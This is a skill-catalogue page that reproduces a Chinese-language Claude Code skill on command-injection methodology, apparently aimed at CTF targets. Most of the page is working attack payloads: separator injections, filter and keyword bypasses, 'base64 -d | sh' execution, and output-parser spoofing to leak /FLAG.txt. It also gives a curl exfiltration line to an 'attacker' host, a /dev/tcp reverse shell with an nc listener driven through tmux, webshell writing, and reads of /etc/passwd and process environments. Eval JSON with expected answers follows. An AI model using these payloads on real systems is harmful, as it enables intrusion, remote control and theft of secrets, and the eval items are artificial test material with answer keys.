
Command Injection Methodology
- 21 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
command-injection-methodology is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- command-injection-methodology
- AI & Agent Building
- AI-coding skill
Command Injection Methodology by the numbers
- 21 all-time installs (skills.sh)
- Ranked #10,307 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill command-injection-methodologyAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 21 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
命令注入完整方法论
Phase 1: 注入点发现
常见存在命令注入的功能: Ping工具、DNS查询、文件操作、网络诊断、系统信息页面 常见参数名: ip, host, cmd, command, exec, ping, query, domain, address, ip_address
⛔ 深入参考(遇到绕过时必读)
- 空格/关键字/编码绕过大全、Windows 注入、输出过滤绕过 → references/injection-bypass.md
Phase 2: 基础注入测试(按优先级)
使用 `response_diff` 对比正常/注入请求的响应差异,快速定位注入点 1. 分号: 127.0.0.1;id 2. 换行: %0aid(最可靠,通常不被过滤) 3. 管道: 127.0.0.1|id 4. AND/OR: 127.0.0.1 && id / 127.0.0.1 || id 5. 替换: ` 127.0.0.1id / 127.0.0.1$(id)`
Phase 3: 过滤字符检测
逐个测试 < > | & ; $ \ ( ) { } [ ]`:
|被过滤 → 用;或%0a;被过滤 → 用%0a换行>被过滤 → 不能重定向,用其他方式外带
Phase 4: 输出被过滤时的外泄(核心)
%0a 放在最前面,让原命令失败,只有你的 echo 输出:
ip_address=%0aecho "$(cat /FLAG.txt) packets transmitted, 0 received, 100% packet loss"→ 更多外泄方法(写文件、时间盲注)→ references/injection-bypass.md
盲注提取技术
- Linux 大小写敏感,路径必须全部尝试大小写组合
- 逐字符提取:
cut -c N、awk、substr 逐字符循环提取 - 自动化脚本化:
if [ $(cut -c1 /flag) = 'F' ]; then sleep 2; fi— 条件 sleep 布尔盲注 - 工具链:
127.0.0.1;cat /flag具体 payload 命令拼接 - 使用 bash 脚本或 python 脚本自动化提取
Phase 5: Flag 路径枚举
⛔ 固定路径失败时必须用 find 系统搜索!
/flag, /FLAG, /flag.txt, /FLAG.txt, /app/flag.txt
%0afind / -name "*flag*" -o -name "*FLAG*" 2>/dev/null
env | grep -i flag # 环境变量
cat /Dockerfile # 确认路径Phase 6: 高级绕过速查
- 空格:
${IFS},%09,{cat,/flag} - 关键字:
c'a't /flag,tac /flag,/bin/ca? /flag - 编码:
echo Y2F0IC9mbGFn | base64 -d | sh - 通配符:
cat /fla*,cat /FL?G.txt
→ 完整绕过清单(含 Windows)→ references/injection-bypass.md
RCE 后的交互策略
拿到命令执行后,优先选择无需持续交互的方式:
| 优先级 | 方式 | 适用场景 |
|---|---|---|
| 🥇 | 直接命令输出(; cat /flag) | 有回显的注入 |
| 🥈 | Webshell(写 php/jsp 文件,通过 HTTP 交互) | Web 目标、有写权限 |
| 🥉 | HTTP 回传(`curl http://attacker/?d=$(cmd\ | base64)`) |
| 4 | 反弹 shell → interactive_session | 需要持续交互(su/sudo/文件系统探索) |
如果确实需要反弹 shell(比如要提权、要 su 切用户、要进入数据库),使用 interactive_session 工具:
1. interactive_session action="start" session_name="listener" command="nc -lvp 4444" wait=2
2. 通过注入触发反弹: ; bash -i >& /dev/tcp/ATTACKER/4444 0>&1
3. interactive_session action="read" session_name="listener" — 确认连接
4. interactive_session action="send" session_name="listener" command="id" — 执行命令
5. interactive_session action="send" session_name="listener" command="cat /flag.txt"
6. interactive_session action="close" session_name="listener" — 完成后关闭降级方案:Bash + tmux 手动交互
如果 interactive_session 工具不可用(MCP 版本不支持等),用 Bash 直接操作 tmux 实现相同效果:
# 1. 启动 tmux 会话运行监听
tmux new-session -d -s listener -x 200 -y 50 "nc -lvp 4444"
# 2. 触发反弹 shell(通过注入或其他方式)
# 3. 读取屏幕内容(查看是否有回连)
tmux capture-pane -t listener -p -S -100
# 4. 发送命令
tmux send-keys -t listener "id" Enter
sleep 2
tmux capture-pane -t listener -p -S -50
# 5. 继续交互
tmux send-keys -t listener "cat /flag.txt" Enter
sleep 2
tmux capture-pane -t listener -p -S -50
# 6. 发送 Ctrl-C(中断当前命令)
tmux send-keys -t listener C-c
# 7. 关闭会话
tmux kill-session -t listener核心三板斧:tmux new-session -d(启动)、tmux send-keys(发命令)、tmux capture-pane -p(读屏幕)。这套模式适用于任何交互式程序——不只是 nc,SSH、mysql、redis-cli、python REPL 等都一样。
---
CTF 命令注入技巧补充
Bash 花括号展开(空格被过滤)
空格、$、| 等被过滤时,用花括号展开替代:
{ls,-la,/} # 等价于: ls -la /
{cat,/flag.txt} # 等价于: cat /flag.txtTar 文件名注入
当服务器解压 tar 并显示文件名时,文件名中的 shell 元字符会被执行:
touch 'name; cat /flag #' && tar cf exploit.tar *正则缺少 $ 锚点绕过
preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/', $ip) 缺少 $ 结尾锚点,追加命令即可:
127.0.0.1; cat /flag.txt🤖 Agent 行为规则 — 命令注入
⛔ NEVER
- NEVER 在同一个绕过方式上重试超过 3 次 — 必须切换到其他绕过技术
- NEVER 获得 RCE 后反复猜测 flag 路径 — 必须先读源码找真实位置
- 遇到过滤/绕过场景先读 references 文件中的绕过清单
✅ ALWAYS
- ALWAYS 获得 RCE 后第一步:读源码 → 检查环境变量 →
find / -name 'flag*' - ALWAYS 遇到过滤时读 references/injection-bypass.md 获取完整绕过清单
- ALWAYS 测试多种注入分隔符(
;|||&&\n%0a```) - ALWAYS 区分:回显注入(直接读输出)vs 盲注(需要外带/延时)
🔧 工具偏好
1. http_request — 注入测试首选(精确控制参数编码) 2. curl — 复杂 payload 场景(需要特殊字符) 3. 读取 references 文件 — 遇到过滤时立即读取绕过参考
{
"skill_name": "command-injection-methodology",
"evals": [
{
"id": 1,
"name": "cmdi-output-parser-bypass",
"prompt": "Ping 功能只显示 'X packets transmitted, X received, X% packet loss' 这样的统计行,注入 ;id 后输出被应用层正则过滤了。请描述你如何让注入命令的输出通过正则过滤器。",
"expected_output": "用 %0a 在输入最前面让原命令失败,echo 构造匹配正则格式的输出",
"expectations": [
"%0a|换行|最前面|不在IP后面",
"echo|printf|伪造正则匹配格式",
"packets transmitted|模拟输出格式|欺骗解析器",
"原命令失败|无参数|只有注入输出",
"$(cat /flag)|命令替换|嵌入输出"
],
"required_terms": [
"$(cat /flag)",
"echo",
"packets transmitted"
]
},
{
"id": 2,
"name": "cmdi-space-keyword-bypass",
"prompt": "目标存在命令注入但过滤了空格和 cat 关键字。你需要读取 /flag.txt。请给出至少 3 种空格替代方案和 3 种 cat 替代方案。",
"expected_output": "具体的空格和关键字绕过 payload",
"expectations": [
"${IFS}|$IFS$9|内置字段分隔符|空格替代",
"{cat,/flag}|花括号展开|Bash brace expansion",
"%09|Tab|制表符|URL编码空格替代",
"tac|nl|head|sort|base64|替代cat命令",
"c'a't|c\\at|c\"\"at|字符串拼接绕过"
],
"required_terms": [
"${IFS}",
"{cat,/flag}",
"c\\at"
]
},
{
"id": 3,
"name": "cmdi-windows-differences",
"prompt": "你在测试一个运行在 Windows 上的 Web 应用的命令注入。Linux 下常用的 ; 和 $() 和反引号都不行。请描述 Windows 环境下命令注入的特殊之处。",
"expected_output": "Windows 命令注入的分隔符和绕过技巧",
"expectations": [
"&|&&|||Windows分隔符|无条件执行",
"不支持反引号|不支持$()|Windows限制",
"逗号|type,C:\\flag|逗号分隔空格",
"%0a|换行|Windows也可用|URL编码",
"set|变量拼接|%a%%b%|环境变量绕过"
],
"required_terms": [
"type,C:\\flag",
"URL编码",
"set"
]
},
{
"id": 4,
"name": "cmdi-blind-flag-path-enumeration",
"prompt": "你确认了盲命令注入(sleep 5 有延迟)。Docker 容器中 flag 文件名可能是 /flag、/FLAG、/flag.txt、/FLAG.txt 等多种变体。请描述你的文件路径枚举策略。",
"expected_output": "大小写敏感的 flag 路径枚举 + 外带/盲读",
"expectations": [
"/flag|/FLAG|/flag.txt|/FLAG.txt|多种路径",
"大小写敏感|Linux区分大小写|必须全部尝试",
"env|grep -i flag|环境变量|环境变量检查",
"Dockerfile|cat /Dockerfile|确认路径",
"DNS外带|curl|写文件|盲注数据外带"
],
"required_terms": [
"/flag",
"/flag.txt",
"cat /Dockerfile"
]
},
{
"id": 5,
"name": "cmdi-blind-time-based-extraction",
"prompt": "你确认盲命令注入(sleep 有延迟),但目标无出站网络(curl/wget/dns 均不通)、无 Web 可写目录。你需要逐字符提取 /flag.txt 的内容。请描述完整的 time-based 数据提取方法。",
"expected_output": "用 cut/awk 提取第 N 个字符,转 ASCII 码后 sleep 对应秒数,通过响应时间逐字符还原",
"expectations": [
"cut -c N|awk|substr|逐字符提取",
"ASCII|od|printf %d|字符转数字",
"sleep|响应时间|时间差|侧信道",
"逐字符|循环|自动化|脚本化",
"if [ $(cut -c1 /flag) = 'F' ]|条件sleep|布尔盲注"
],
"required_terms": [
"if [ $(cut -c1 /flag) = 'F' ]",
"cut -c N",
"awk"
]
},
{
"id": 6,
"name": "cmdi-tool-chain-discovery-to-rce",
"prompt": "smart_discover 发现 /api/ping?host=参数,http_request 发送 host=127.0.0.1 返回 ping 结果。你怀疑命令注入。请描述你从发现到 RCE 获取 flag 的完整步骤。",
"expected_output": "http_request 测试分隔符(;|`||)→ 确认注入 → read_skill 获取绕过方法 → 提取 flag",
"expectations": [
"http_request|测试分隔符|;|`|||确认注入",
"read_skill|command-injection|获取绕过技巧",
"127.0.0.1;cat /flag|具体payload|命令拼接",
"盲注|sleep|如果无回显则时间测试",
"shell_execute|create_script|自动化提取|如需脚本"
],
"required_terms": [
"read_skill",
"shell_execute",
"127.0.0.1;cat /flag"
]
}
]
}
{
"skill_id": "command-injection-methodology",
"recall_tests": [
{
"id": 1,
"type": "keyword_positive",
"description": "精确关键词搜索",
"keywords": ["command injection", "命令注入", "命令执行", "os command"]
},
{
"id": 2,
"type": "keyword_positive",
"description": "盲注关键词",
"keywords": ["blind command", "time-based", "带外"]
},
{
"id": 3,
"type": "keyword_negative",
"description": "不应被 SQL 注入召回",
"keywords": ["sql injection", "union select"]
}
],
"llm_tests": [
{
"id": 1,
"name": "ping-command-injection-scenario",
"scenario": "发现 /api/ping?host=127.0.0.1 返回 ping 结果。怀疑存在命令注入。请搜索相关攻击方法论。",
"max_rounds": 2,
"expect_tool_calls": [
{"tool": "list_skills", "keyword_contains": "command|injection|命令"},
{"tool": "read_skill", "id": "command-injection-methodology"}
]
}
]
}
命令注入绕过技术大全
空格被过滤的替代方案
${IFS} → cat${IFS}/flag (最常用,Bash 内置字段分隔符)
%09 → cat%09/flag (Tab 字符,URL 编码)
$IFS$9 → cat$IFS$9/flag ($9 是空的位置参数)
{cmd,arg} → {cat,/flag} (Bash 花括号展开)
< → cat</flag (输入重定向)
<> → cat<>/etc/passwd (读写重定向)
%20 → cat%20/flag (URL 编码空格)关键字过滤绕过
cat 被过滤时的替代命令
tac /flag # 反向输出
nl /flag # 带行号输出
head /flag
tail /flag
sort /flag
rev /flag | rev # 双重反转
xxd /flag # 十六进制输出
base64 /flag # Base64 编码输出字符串拼接绕过
c'a't /flag # 单引号中断
c""at /flag # 双引号中断
c\at /flag # 反斜杠转义
/bin/ca? /flag # 通配符匹配
/bin/c[a]t /flag # 字符类匹配变量拼接
a=ca;b=t;$a$b /flag编码绕过
echo Y2F0IC9mbGFn | base64 -d | sh
$(printf '\x63\x61\x74') /etc/passwd # printf 十六进制编码通配符
cat /fla*
cat /FL?G.txt
/???/??t /???/p??s?? # 全路径通配Windows 命令注入
分隔符
& dir # 无条件执行
| dir # 管道
&& dir # AND
|| dir # OR
%0a dir # 换行注意:Windows 不支持反引号和 $()
空格绕过
type,C:\flag.txt # 逗号分隔变量绕过
set a=who&&set b=ami&&%a%%b%输出被过滤/解析时的数据外泄
格式化输出绕过解析器
核心原理:用 %0a 放在输入最前面,让原命令没有参数→失败→只有你的 echo 输出
ip_address=%0aecho "$(cat /FLAG.txt) packets transmitted, 0 received, 100% packet loss"注意:%0a 必须在最前面,不要在前面加 IP!
读源码找过滤逻辑和 flag 路径
ip_address=%0aecho "$(cat /app/app.py) packets transmitted, 0 received, 100% packet loss"
ip_address=%0aecho "$(cat /Dockerfile) packets transmitted, 0 received, 100% packet loss"系统性 Flag 搜索(找不到 flag 时必用!)
⛔ 不要只试固定路径!用 find 命令系统搜索:
%0afind / -name "*flag*" -o -name "*FLAG*" 2>/dev/null | head -20
%0afind / -name "*.txt" -maxdepth 2 2>/dev/null
%0als -la /
%0als -la /app/
%0aenv | grep -i flag
%0acat /proc/1/environ | tr '\0' '\n' | grep -i flag正则匹配伪造(输出解析器绕过核心)
当应用用正则提取 ping 结果(如匹配 (\d+) packets transmitted)时, 伪造符合正则的输出 + 嵌入 flag:
%0aecho "$(cat /FLAG.txt) packets transmitted, 0 received, 100% packet loss"通用模式:先读源码找正则 → 构造匹配的输出格式 → 在匹配字段中嵌入 flag
# 读应用源码找正则
%0acat /app/app.py
# 读 Dockerfile 找 flag 路径
%0acat /Dockerfile写文件到 Web 可访问路径
ip_address=127.0.0.1;cp /FLAG.txt /app/static/f.txt然后访问 http://target/static/f.txt
时间盲注(完全无输出时)
ip_address=127.0.0.1;sleep $(cat /flag | cut -c1 | od -An -td1)